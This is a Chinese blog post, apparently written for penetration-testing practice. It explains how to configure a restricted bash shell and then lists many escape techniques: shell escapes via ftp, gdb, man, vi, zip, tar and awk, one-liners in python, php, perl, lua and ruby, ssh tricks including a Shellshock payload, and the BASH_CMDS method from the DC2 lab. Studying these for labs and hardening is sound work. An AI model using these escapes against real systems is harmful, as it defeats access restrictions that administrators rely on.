rbash限制以及绕过

目录

一,什么是rbash?

二,如何设置rbash?

三,如何绕过rbash限制?


一,什么是rbash?

        rbash,即受限制的 bash,其可以用作中转服务器(实际上rbash只是bash的一个软链接)。它与一般shell的区别在于会限制一些行为,让一些命令无法执行。


二,如何设置rbash?

1,复制一个bash,重命名为rbash

        cp  /bin/bash  /bin/rbash

2,设置用户tom登陆的shell为rbash

        useradd -s  /bin/rbash  tom

3,  在tom用户下新建一个.bin目录存放可以执行的命令

        mkdir -p  /home/tom/.bin

4,  通过软连接执行命令

        ln -s  /bin/clear  /home/$tom/.bin/clear

5,  编辑文件/home/$tom/.bashrc,添加export PATH=$HOME/.bin/.
文件一定要以# .bashrc为首行.


三,如何绕过rbash限制?

1,首先是枚举Linux环境(做信息收集)

 1,检查可用的命令:su,cd,ls等

 2,检查可用的操作符:< > <<  >>  |  /等

 3,root身份可以运行的命令:sudo -l

 4,检查shell:echo $SHELL

 5,检查可用的编程语言:python,php,ruby,perl等

 6,检查环境变量:运行env或者printenv

2,"/"字符被允许

3,cp命令被允许

 

4,常见应用

     FTP: ftp > !/bin/sh 

     GDB:gdb > !/bin/sh

     man:man > !/bin/sh

     git:git > git help status

     vi/vim:!/bin/sh 或者 !/bin/bash

5,set   shell

# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell

# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

6,编程语言

python
python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"


php
php -a then exec("sh -i")


perl
perl -e "exec '/bin/sh';"


lua
os.execute('/bin/sh')


ruby
exec "/bin/sh"

7,其他方法

ssh(4种形式):

ssh username@IP -t "/bin/sh" or "/bin/bash"

ssh username@IP -t "bash --noprofile"

ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)

ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)

zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
tar
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
awk
awk 'BEGIN {system("/bin/bash")}' 
DC2靶机所使用的方法:

# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a 

# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值